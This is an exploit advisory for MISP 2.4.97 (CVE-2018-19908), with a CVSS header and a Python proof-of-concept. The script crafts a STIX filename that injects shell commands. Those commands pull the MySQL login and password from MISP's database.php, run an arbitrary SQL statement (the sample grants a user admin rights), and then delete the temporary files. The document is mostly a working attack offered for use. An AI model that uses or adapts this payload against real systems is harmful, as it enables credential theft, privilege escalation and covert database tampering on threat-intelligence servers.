MISP 2.4.97 SQL Injection / Command Injection

2019.02.19
Credit: Tm9jdGlz
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89
CWE-78


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#-*-coding:utf-8-*- # # Exploit Title: SQL command execution via command injection in STIX module # Date: 2019-17-02 # Exploit Author: Tm9jdGlz # Vendor Homepage: https://www.misp-project.org/ # Software link: https://www.misp-project.org/download/ # Version: 2.4.90 - 2.4.99 # Tested on: 2.4.97 # CVE: CVE-2018-19908 # # Use this payload as stix filename def encode_data(data): from base64 import b64encode from urllib.parse import quote_plus b64Data = b64encode(data.encode("utf-8")) urlEncode = quote_plus(b64Data) return urlEncode def generate_payload(SQLRequest): payload = 'MISPPath="../../";'\ 'MISPPDB="$MISPPath/app/Config/database.php";'\ 'MySQLUUser=$(grep -o -P "(?<=\'login\' => \').*(?=\')" $MISPPDB);'\ 'MySQLRUser=${{MySQLRUser:-$MySQLUUser}};'\ 'MySQLUPass=$(grep -o -P "(?<=\'password\' => \').*(?=\')" $MISPPDB);'\ 'MySQLRPass=${{MySQLRPass:-$MySQLUPass}};'\ 'MISPDB=$(grep -o -P "(?<=\'database\' => \').*(?=\')" $MISPPDB);'\ 'mysql -u $MySQLRUser -p$MySQLRPass $MISPDB -e "{}"' return payload.format(SQLRequest) def generate_exploit(SQLRequest, **kwargs): options = { "inputFile" : kwargs.get("input_file", "data"), "outputFile" : kwargs.get("output_file", "data2"), "payload" : encode_data(generate_payload(SQLRequest)) } exploit = "; echo '{payload}'>{inputFile};"\ "python3 -c 'import urllib.parse;"\ 'fd=open(\\"{outputFile}\\",\\"w\\");'\ 'fd.write(urllib.parse.unquote_plus(open(\\"{inputFile}\\").read()));'\ "fd.close()';"\ "base64 -d {outputFile}>{inputFile};"\ "sh {inputFile};"\ "rm {inputFile} {outputFile} #".format(**options) return exploit def main(): SQLRequest = "UPDATE users SET role_id=1 WHERE id = 2" print(generate_exploit(SQLRequest)) if __name__ == "__main__": main()


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